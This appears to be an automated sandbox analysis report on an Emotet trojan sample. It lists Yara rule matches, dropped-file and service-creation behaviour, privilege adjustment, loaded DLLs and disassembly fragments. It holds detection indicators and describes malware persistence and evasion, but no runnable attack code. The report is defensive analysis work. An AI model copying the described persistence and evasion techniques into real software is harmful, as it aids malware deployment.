Source: Yara match	File source: 0.2.ExeFile (356).exe.5f052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Websocket.exe.60279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Websocket.exe.610000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\provcore\Websocket.exe

Code function: 2_2_006125A0 CryptAcquireContextW,CryptImportKey,LocalFree,CryptCreateHash,CryptDecodeObjectEx,CryptDecodeObjectEx,CryptGenKey,

2_2_006125A0

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.Websocket.exe.60279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (356).exe.5f279e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (356).exe.5f279e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (356).exe.600000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.Websocket.exe.60052e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.Websocket.exe.60052e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (356).exe.5f052e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (356).exe.5f052e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.Websocket.exe.60279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.Websocket.exe.610000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown

Source: C:\Users\user\Desktop\ExeFile (356).exe

File created: C:\Windows\SysWOW64\provcore\

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (356).exe

File deleted: C:\Windows\SysWOW64\provcore\Websocket.exe:Zone.Identifier

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_006080D0	0_2_006080D0
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00607D60	0_2_00607D60
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00601C70	0_2_00601C70
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00607530	0_2_00607530
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_006063F0	0_2_006063F0
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F9C6E	0_2_005F9C6E
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F380E	0_2_005F380E
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F90CE	0_2_005F90CE
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F98FE	0_2_005F98FE
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F7F8E	0_2_005F7F8E
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_006180D0	2_2_006180D0
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00611C70	2_2_00611C70
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00617D60	2_2_00617D60
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00617530	2_2_00617530
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_006163F0	2_2_006163F0
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00609C6E	2_2_00609C6E
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_0060380E	2_2_0060380E
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_006098FE	2_2_006098FE
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_006090CE	2_2_006090CE
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_00607F8E	2_2_00607F8E

Source: ExeFile (356).exe

Static PE information: Resource name: DAGHHHHHTY type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Source: ExeFile (356).exe, 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: OriginalFilenameVfWWDM32.DLLj% vs ExeFile (356).exe
Source: ExeFile (356).exe	Binary or memory string: OriginalFilenameVfWWDM32.DLLj% vs ExeFile (356).exe

Source: ExeFile (356).exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.Websocket.exe.60279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (356).exe.5f279e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (356).exe.5f279e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (356).exe.600000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.Websocket.exe.60052e.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.Websocket.exe.60052e.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (356).exe.5f052e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 0.2.ExeFile (356).exe.5f052e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.Websocket.exe.60279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 2.2.Websocket.exe.610000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.2389548651.00000000020E4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000002.00000002.3637813859.0000000000734000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.2389343212.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13
Source: 00000000.00000002.2389373625.0000000000601000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Emotet_5528b3b0 reference_sample = eeb13cd51faa7c23d9a40241d03beb239626fbf3efe1dbbfa3994fc10dea0827, os = windows, severity = x86, creation_date = 2021-11-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Emotet, fingerprint = 717ed656d1bd4ba0e4dae8e47268e2c068dad3e3e883ff6da2f951d61f1be642, id = 5528b3b0-d4cb-485e-bc0c-96415ec3a795, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.evad.winEXE@4/0@0/97

Source: C:\Users\user\Desktop\ExeFile (356).exe

Code function: 0_2_0040E170 GetLastError,FormatMessageW,_wprintf,

0_2_0040E170

Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_0040E220 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,		0_2_0040E220
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Code function: 2_2_0040E220 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,		2_2_0040E220

Source: C:\Users\user\Desktop\ExeFile (356).exe

Code function: CreateServiceW,OpenSCManagerW,CloseServiceHandle,CloseServiceHandle,

0_2_00608660

Source: C:\Users\user\Desktop\ExeFile (356).exe

Code function: 0_2_0040F510 GetUserNameW,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,CloseHandle,wsprintfW,_memset,OpenProcess,CloseHandle,wsprintfW,wsprintfW,Process32NextW,CloseHandle,

0_2_0040F510

Source: C:\Users\user\Desktop\ExeFile (356).exe

Code function: 0_2_00604F50 ChangeServiceConfig2W,GetProcessHeap,HeapFree,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,GetTickCount,GetProcessHeap,HeapFree,RtlFreeHeap,

0_2_00604F50

Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: win32app	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: Run	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: win32app	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: win32app	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: Edit	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: Cancel	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (356).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: win32app	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: Run	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: win32app	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: BUTTON	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: BUTTON	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: BUTTON	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: win32app	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: Edit	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: BUTTON	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: Cancel	2_2_0040FA80
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Command line argument: BUTTON	2_2_0040FA80

Source: ExeFile (356).exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ExeFile (356).exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (356).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ExeFile (356).exe

ReversingLabs: Detection: 97%

Source: unknown	Process created: C:\Users\user\Desktop\ExeFile (356).exe "C:\Users\user\Desktop\ExeFile (356).exe"
Source: C:\Users\user\Desktop\ExeFile (356).exe	Process created: C:\Windows\SysWOW64\provcore\Websocket.exe "C:\Windows\SysWOW64\provcore\Websocket.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\user\Desktop\ExeFile (356).exe	Process created: C:\Windows\SysWOW64\provcore\Websocket.exe "C:\Windows\SysWOW64\provcore\Websocket.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (356).exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\provcore\Websocket.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanagersvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: licensemanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: clipc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (356).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: ExeFile (356).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ExeFile (356).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ExeFile (356).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ExeFile (356).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ExeFile (356).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ExeFile (356).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ExeFile (356).exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: A:\WindowsProcessManager-master\WindowsProcessManager-master\Release\TaskMgr.pdb source: ExeFile (356).exe
Source:	Binary string: vfwwdm32.pdb source: ExeFile (356).exe

Source: ExeFile (356).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: ExeFile (356).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: ExeFile (356).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: ExeFile (356).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: ExeFile (356).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\ExeFile (356).exe

Code function: 0_2_00415F77 LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00415F77

Source: ExeFile (356).exe

Static PE information: real checksum: 0x744f8 should be: 0x6d651

Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00411EC5 push ecx; ret	0_2_00411ED8
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605C50 push ecx; mov dword ptr [esp], 00008F8Eh	0_2_00605C51
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605CF0 push ecx; mov dword ptr [esp], 00000E88h	0_2_00605CF1
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605CD0 push ecx; mov dword ptr [esp], 0000A465h	0_2_00605CD1
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605C90 push ecx; mov dword ptr [esp], 00002224h	0_2_00605C91
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605D70 push ecx; mov dword ptr [esp], 0000B4A4h	0_2_00605D71
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605D20 push ecx; mov dword ptr [esp], 0000C239h	0_2_00605D21
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605DE0 push ecx; mov dword ptr [esp], 0000272Ah	0_2_00605DE1
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605DB0 push ecx; mov dword ptr [esp], 00001190h	0_2_00605DB1
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605E40 push ecx; mov dword ptr [esp], 0000C126h	0_2_00605E41
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605EE0 push ecx; mov dword ptr [esp], 00006DE4h	0_2_00605EE1
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_00605EA0 push ecx; mov dword ptr [esp], 00008285h	0_2_00605EA1
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F7A7E push ecx; mov dword ptr [esp], 00006DE4h	0_2_005F7A7F
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F786E push ecx; mov dword ptr [esp], 0000A465h	0_2_005F786F
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005FE015 push 0000003Bh; ret	0_2_005FE01A
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F7A3E push ecx; mov dword ptr [esp], 00008285h	0_2_005F7A3F
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F782E push ecx; mov dword ptr [esp], 00002224h	0_2_005F782F
Source: C:\Users\user\Desktop\ExeFile (356).exe	Code function: 0_2_005F788E push ecx; mov dword ptr [esp], 00000E88h	0_2_005F788F
